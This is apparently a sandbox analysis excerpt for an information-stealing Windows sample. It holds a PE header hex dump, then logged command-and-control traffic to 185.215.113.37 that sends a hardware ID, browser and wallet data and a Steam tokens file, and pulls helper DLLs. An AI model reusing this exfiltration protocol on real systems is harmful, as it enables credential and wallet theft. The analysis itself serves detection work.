86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 41 41 31 37 44 41 37 34 35 44 43 31 34 37 35 39 30 32 34 33 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 2d 2d 0d 0a Data Ascii: ------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="hwid"FAA17DA745DC1475902436------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="build"save------BGHIDGCAFCBAAAAAFHDA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="message"browsers------AFBFHDBKJEGHJJJKFIIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHIJKJKFIDHJKFBGHCHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------ECFHIJKJKFIDHJKFBGHCContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------ECFHIJKJKFIDHJKFBGHCContent-Disposition: form-data; name="message"plugins------ECFHIJKJKFIDHJKFBGHC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="message"fplugins------GIIEGHIDBGHIECAAECGD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJEHost: 185.215.113.37Content-Length: 6167Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDAFIEHIEGDHIDGDGHDHost: 185.215.113.37Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKFHost: 185.215.113.37Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file"------AFBFHDBKJEGHJJJKFIIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEBHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="file"------IIIEBGCBGIDHDGCAKJEB--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGCHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDBHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="message"wallets------FIIDBKJJDGHDHJKEHJDB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEBHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="message"files------IIIEBGCBGIDHDGCAKJEB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECFHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="file"------JEHIJJKEGHJJKECBKECF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 2d 2d 0d 0a Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="message"ybncbhylepme------EGIDAAFIEHIEHJKFHCAE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBKHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGCAAFBFBKFIDGDHJDBK--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
